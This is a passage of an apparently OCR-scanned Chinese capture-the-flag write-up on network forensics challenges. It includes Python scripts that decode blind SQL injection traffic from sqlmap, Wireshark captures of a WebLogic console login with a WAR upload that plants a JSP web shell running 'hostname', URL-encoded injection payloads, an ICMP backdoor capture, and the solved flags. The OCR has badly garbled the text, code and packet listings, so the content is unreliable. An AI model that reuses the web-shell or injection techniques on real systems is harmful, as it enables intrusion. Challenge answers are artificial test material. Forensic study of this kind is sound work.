for line in lines:
t = urllib.unquote(line)
if '1765' in t and 'flag' in t: # Ty S5flaghist, EHKER
datas.append(t)
flag ascii = {}
for data in datas:
matchObj = re.search( r'LIMIT 0,1\),(.*?),1\)\)>(.*?) AND', data)
if matchObj:
key = int(matchObj.group(1))
value = int(matchObj.group(2))+1
flag_ascii[key] = value # TR, RERE BB EFRNasciiig
flag = "'
for value in flag_ascii.values():

flag += chr(value)

print flag

53lflag flag{sqlm4p_15_pOwerful}

flag{sqlmdp_15_ p@werful}

Weblogic

R E Ak -

BEB S T Weblogich H, 4 trBidid s, ®iWeblogich) 4. Tip: EHLE AT 7S
HESEAIMMpHIEL, BERHTTPR, WERKIBEH DL, f5EHEwart LieshellfF 2R


https://ctf.bugku.com/files/d0efc1322758fceb5cab0bb66af860e0/weblogic.pcap

M Wireshark - i85 HTTP 7 (tcp.stream eq 0) - weblogic.pcap . o x

</div> ~
</div>

</body>

</html>

POST /console/j_security_check HTTP/1.1

Host: 192.168.8.106:7001

User-Agent: Mozilla/s.o (Wacintosh; Intel Mac 05 X 10.13; rvis6.0; Waterfox) Gecko/20100101 Firefox/56.2.4

Accept: text/html,application/xhtml+xnl,application/xml;

Accept-Language: en-US,en;q:

Accept-Encoding: gzip, deflate

Referer: http://192.168.8.106:7001/console/login/LoginForm.jsp

Content-Type: application/x-www-form-urlencoded

Content-Length: 70

9,%/%30=0.8

.5

Cookie: ADMINCONSOL qPNLEDT SB7MGCVGYWPIXOCGhgy | -146801672;
bc1Log hzkpf: 1471896893

Connection:  keep-alive

Upgrade-Insecure-Requests: 1

BERj_character_encoding=UTF-8HTTP/1.1 302 Moved Temporarily

j p
1t Sat, @3 Nov 2018 02:28:42 GMT
Transfer-Encoding: chunked
Location: http://192.168.8.106:7001/console/console.portal

Set-Cookie: ADMINCONSOLESESSION=WoVIbdHhbDYy@gjTLXZdQLOYG1FI2FLIINTQuVTvQkhy1MDhxg | -146801672; path=/; Httponly
X-Powered-By: Servlet/2.5 JSP/2.1

<html><heads<title>302 Moved Temporarily</titles</head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved temporarily.</p>

<p>It's now at <a hre 'ttp://192.168.8.106:7001/console/console.portal“>http://192.168.8.106:7001/console/
console.portal</a>.</p>

</body></html>

M Wireshark - I8 HTTP 5 (tcp.stream eq 0) - weblogic.pcap - a X

bottom"><dlv><d1v>&nbsp,</dlv></dlv></dlv></dlv></dlv></dlv)(/dlv)(/dlv)(/dlv)(/ ~
div></div></div><div clas ~footer"><div id="console-footer"><div class="i erversion”>uebLogic Server
Version: 10.3.6.0</p><p id="copyright">Copyright &copy; 1996, 2011, Oracle and/or lts szlhzte& All rights reserved.</
p><p id="trademark">0racle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be
trademarks of their respective owners.</p></div></div></div></body></html>POST /console/console.portal?
AppApplicationInstallportlet_actionOverride=/com/bea/console/actions/app/install/uploadApp HTTP/1.1
Host: 192.168.8.106:7001
User-Agent: Mozilla/s.0 (Macintosh; Intel Mac 0S X 10.13; rvi56.0; Waterfox) Gecko/20100101 Firefox/s6.2.4
Accept: text/html,application/xhtmlsxml,application/xnl;q=0.9,/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.8.106:7001/console/console. portal?AppApplicationInstallportlet_actionoverride=/com/bea/console/
actions/app/install/selectuploadapp
Content-Type: multipart/form-data; boundar
content-Length: 32172
Cookie: ADMINCONSOLESESSION=WOVIbdHhbDYy@gjTLXzdQLOYG1fI2IfLMINTQwWVTVQkhy1MDhxg! -146801672;

NCbclL hzKpfIvc8RzP5Qb1m! 471896893
connection: keep-al
Upgrade-Insecure- Requests' 1

</div></div></div></div></div><div clas
wlsc

Content-Disposition: form-data; name="AppApplicationInstallportletuploadAppPath”; filenam
Content-Type: application/octet-stream

test3693.war”

PK

o + META-INF/PK. .

b .at. oo META-INF/MANIFEST . MFManifest-Version: 1.0
Ant-Version: Apache Ant 1.6.2

Created-By: 1.5.0_04-b@5 (Sun Microsystems Inc.)

PK..

+META-INF/context.xml<?xml version=

1.0" encoding="UTF-8"2>

B
<Context path.
PK..
WEB-INF/PK. .

WEB-INF/web.xml<?xml version="1.0" encoding="UTF-8"?>

Ao
.ar7em.

<web-app xmln: /java.sun.com/xml/ns/jzee“
xmlns:xsi= +//www.w3.0rg/2001/XMLSchema- instance'
xsi: schemamzanon:‘hnp //3ava.sun.con/xml/ns/j2ee http://java.sun.com/xnl/ns/j2ee/web-app_2_4.xsd"
version="2.4">

f§ Fwireshark 2 hostnameZ % & <47, HIE658 662 FAEZ KRBT, RIS IATERLE

EET N v OEAKAS (S | [ostome

Yo Tine Sourcs Destination Frotocel Longth Info
658 2018-11-03 172.17.0.2 HITP. 737 POST /shackz/index.Jsp HITP/1.1 (application/x-w-forn-urlencoded)
650 2018-11-03 172.17.0.1 e 219 afs3-callback(7001) > 54504 [PSH,

660 2018-11-03 172.17.0.1 TP 4138 afs3-callback(7001) » 54504 [PSH, ACK] S

6612018-11-03 172.17.0.2 TP 66 54504 > afs3- (al]ha(k(7%l) [ACK] Seq=40457 Ack=273922 Win=184832 Len=0 TSval=2676312 TSecr=267
662 2018-11-03 172.17.6.1 HITP. 2146 HTTP/1.1 200 0K (text/hi
663 2015-11-03 172.17.0.2 Tcp 66 54504 > afs3- callhzck(7001} [ACK] Seq=A0457 Ack=276002 Win=184832 Len=o TSval-2676312 TSecr=267.

666 2018-11-03

£52.665826 172.17.0.2 172.17.0.1 Tcp. 66 afs3-callback(7001) > 54504 [ACK] 5eq-276003 Ack-30458 il

669 2012-11-03 10:30:55.716966 172.17.0.1 172.17.0.2 66 54506 > afs3-callback(7001) [ACK] Seq=L Ack=1 Win=29312 Len=@ TSval-2679887 TSecr=2679887

672 2015-11-03 10:30:55.719263 172.17.0.1 172.17.0.2 TP 66 54506  afs3-callback(7001) [ACK] Seq-2 Ack-2 Win-29312 Len-0 TSval-2679887 TSecr-2679887

Connection: keep-alive\r\n ~
Upgrade-Tnsecure-Requests: 1\r\n

[eull request URI: http://192.168.5.106:7001 isp]
[HTTP request 16/16]
Prev_request in frame: 652!

application/x-wa-forn-urlencoded
"hos tnane"

64 47 68 4c 70 37 34 35 50 62 2C2DVyd6 hip7aseb ~
44 66 4a 50 72 77 6e 77 63 50 G3TW3DF JPruncP
4350 7621 2d 31 34 36 38 30 MKvqS1)Y v1-14680
43 6F e Ge 65 63 74 69 6f Ge 1672 -Co nnection
2d 61 6c 69 76 65 0d 0a 55 70 : keep-a live--Up
49 6e 73 secure-R

mERR, 83163 #flag, flag{6ad4c5a09043}

M ireshark 378 662 - weblogic peap - 8 x

\tel--content-->\r\n ~
\tediv id="content">\r\n

AtV

B\

v

AtV

\Rieverin

\E\ENECI--\38612111247\350) 241 \275\;
\t\t<div 1d-"cHos

\t\t\t<form action="/shack2/index. jsp" method="post" enctype="application/x-wm-forn-urlencoded">\r\n
[truncated \E\EVE\L 451221 name="cnd" valu
\t\evE</Form\rin

\E\t\Ecdiv id="execResult">6adac5a00043<br/></div\r\n

\t\t</divarin

\t\t<l--\346\21 \n

ARVEVEVEV e\

A\t

\te/diva\rin

-\rin

hostname” styl

‘width:300px" type="text” /><input name="n" valu

MDS” type

el A\r\n
\tcdiv clas
</div>\r\n

<script

botton">Copyright (c) 2014 <a href="wu. shack2.org">war. shack2.org</a> ALL Rights Reserved| coded by shack2 00\357\274\2321341413415] power by shack2 Jsp WebManage| ver

‘text/Javascript">\rin

72 6d

©0d 03 09 3¢ 2f 64 69 76 +++eeee ec/div



5 BRI
BH R T

sqlmapFaid 1S

TR ER, FBRRZSEANER, AW Hsqmapfi ] Z 4 E# TR RM/REE

M Vireshark - St - HTTP 9851 - 0 x

S8 INE  RERD AN XHE &
36 1000201 text/html 15 bytes message.phpTi
46 10.0.0.201 text/html 22 bytes message.php
10.0.0.201 text/html 63 bytes message.php
66 1000201 text/hem 42 bytes
1000201 text/htmi 42 bytes
10.0.0.201 text/htmi 26 bytes  message.phpTi
10.0.0.201 text/htmi 69 bytes message.phpTi
106 1000201 text/html 26 bytes message.phpTi
116 10.0.0.201 text/html 116 bytes i 520CHR3:281 1 .
126 1000201 text/htmi 121 bytes i To:20CHR3%281189%29%7C%7C % 1929%3DCHR%281185%29¢
136 1000201 text/hemi 57 bytes i
146 10.0.0201 text/htm 144 bytes i T20CHARK28118 %7CC) < cc
156 10.0.0201 text/htm 53 bytes
166 10.0.0201 text/hteml 144 bytes %20CHAR%281
176 1000201 text/ntmi 144 bytes %20CHAR%281
186 10.0.0.201 text/html 90 bytes
196 10.0.0.201 text/html 47 bytes
206 1000201 text/him 206 bytes i T%20C0! ONCAT280¢71 19%2C52BSELECT320%28C)
216 1000201 text/htmi 125 bytes i CoN 0x717363637192C%28SELECTH20%28C,
226 1000201 text/ntmi 127 bytes i %284749%2CCON 0x71736363: BSELECT20
236 1000201 text/ntml 237 bytes ECTS620 CONCAT3280x717363637 BSELECTS20%25
2461000201 text/hteml 197 bytes T HR%2811 CCHR3:28115%29%7C367CC) CHRok281 567C%28SELECTR2)
256 1000201 text/ntm 206 bytes BSELECT BCHARY: .
266 1000201 text/html 242 bytes £ Typesi2s
276 1000201 text/html 16 bytes message.php?ic=-5073
286 1000201 text/himl 209 bytes i C; ECT%20 INCAT3280/717363637 1962C%28SELECTH20%28CASE20WHEN9:20%286398%3D6398%2
296 10.0.0201 test/htm 124 bytes i TVAL CONG) 04717363637 1%2CH2BSELECTS20%28
306 1000201 text/ntmi 126 bytes i con 0x7173636371%2C%28SELECTS20%2 v
<

992
= 1962C%2C.%27. %29%5D%22%5D
432-5431

9%20AND%205345%3D8796
= 19:20AND%201922%301922
920AND%204619%303526

| SCHEMA,SYSTEM_USERS'

HR362811 /CCHR3%2811

M BRI, copyfi ] &2 %eT 2 HBNTER 8 CSVILIFR K


https://ctf.bugku.com/files/0ce4f7d4beb6cc82f37a8fda2c70b713/sqlmap.pcap

import re
import urllib.parse

# EBCNE CMwiresharkiZEH KcsvIC bt

f = open(r"D:\temp\sqlmap.csv")

lines = f.readlines()

datas = []

# B89, fRfFptdatas

for line in lines:
datas.append(urllib.parse.unquote(line))

lines = [] # WSk, MEA—T, XA linesfRFEANFflagiiurl

for i in range(len(datas)): # IEHEAflagiiurl
if datas[i].find("isg.flags ORDER BY “value' LIMIT 0,1),1,1))>64") > 0:

lines = datas[i:]

break
flag = {}
# FHIEN|ICED

macthl = re.compile(r"LIMIT @,1\), (\d*?),1\)\)>(\d*?) HTTP/1.1")
macth2 = re.compile(r'"HTTP","(\d*?)","HTTP/1.1 200 OK')
for i in range(@, len(lines), 2): # EANEREMR, FFLEKN2
getl = macthl.search(lines[i])
if getl:
key = int(getl.group(1l)) # keyfREFRKAE
value = int(getl.group(2)) # valueffEFHFMasciigmid
get2 = macth2.search(lines[i + 1])
if get2:
if int(get2.group(l)) > 450:
value += 1
flag[key] = value # F=F#iffFflag
f.close()
result = "'
for value in flag.values():
result += chr(value)
print(result)

# ISG{BLind_SQl_InJEcTi®ON_DeTEcTEd}

& 5153 %flag 1ISG{BLind_SQI_InJECTiON_DeTEcTEd}

KeokJE ]
7L E Haid -

MWEEHZNEES, B 105 Ahttp/httpsEd, ircEl, dnsEL, icmp
HEZ 2 \BEHo8SUineEs, BEMhorHFIRERET
MY EEEHRIETRE.

EMIERO L, ZRB AN icmph il T3

#Zkflag, B3TEBE


https://ctf.bugku.com/files/ee89c5bb3fd5b44862f7ef40cd88fe4a/backdoor.zip

255 2018-10-12 16:42:40.501671 192.165.236.138  123.123.123.123 cmp 55 Echo (ping) request seq-0/0, (no response toundl)
256 2018-10-12 16:42:40.501810 192.168.238.138  123.123.123.123 cmp 55 Echo (ping) request seq=6/0, ttl=64 (no response found!)
257 2018-10-12 16:42:40.501920 192.165.238.138  123.123.123.123 cHp 55 Echo (ping) request , seq=e/o, (no response Foundl)
258 2018-10-12 16:42:40.502108 192.168.238.138  123.123.123.123 Tcmp 55 Echo (ping) request id-oxeee1, seq=e/o, response found!)
250 2018-10-12 16:42:40.502232 192.168.238.138  123.123.123.123 P 55 Echo (ping) request id=0xe001, seq=6/e, response found!)
260 2018-10-12 P 55 Echo (ping) request id (no response Found!)
261 2018-10-12 Tcmp 55 Echo (ping) request (no response found!)
262 2018-10-12 cHp 55 Echo (ping) request id (no response Foundl)
263 2018-10-12 cHe 55 Echo (ping) request id (no response found!)
264 2018-10-12 16:42:40.503008 192.168.238.138  123.123.123.123 P 55 Echo (ping) request id (no response found!)
265 2018-10-12 123.123.123.123 P 55 Echo (ping) request id (no response Found!)
266 2018-10-12 e 55 Echo (ping) request id (no response found!)
267 2018-10-12 cHp 55 Echo (ping) request id (no response Foundl)
268 2018-10-12 cHp 55 Echo (ping) request id (no response found!)
260 2018-10-12 16:42:40.503762 192.168.238.138  123.123.123.123 P 55 Echo (ping) request id (no response found!)
270 2018-10-12 16:42:40.503885 192.168.238.138  123.123.123.123 cHp 55 Echo (ping) request id=exoeel, (no response Found!)
271 2018-10-12 16:42:40.504012 192.168.238.138  123.123.123.123 cHp 55 Echo (ping) request id-0x6001, seq=6/0, (no response found!)

> Frame 256: 55 bytes on wire (440 bits), 55 bytes captured (440 bits)

> Ethernet IT, Src: Vmware_3b:39:9a (00:0c:29:3b:39:9a), Dst: Vmware_f7:f5:6a (60:50:56:F7:5:6a)

v Internet Protocol Version 4, Src: 192.168.238.138 (192.168.238.138), Dst: 123.123.123.123 (123.123.123.123)
0100 version: 4

. ersior
... 0101 = Header Length: 20 bytes (5)
> Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
Total Length: a1
Identification: exasaf (9647)
> Flags: @xaege, Don't fragment
Time to live: 64
Protocol: ICHP (1
Header checksum: exeefb [validation disabled]
[Header checksun status: Unverified]
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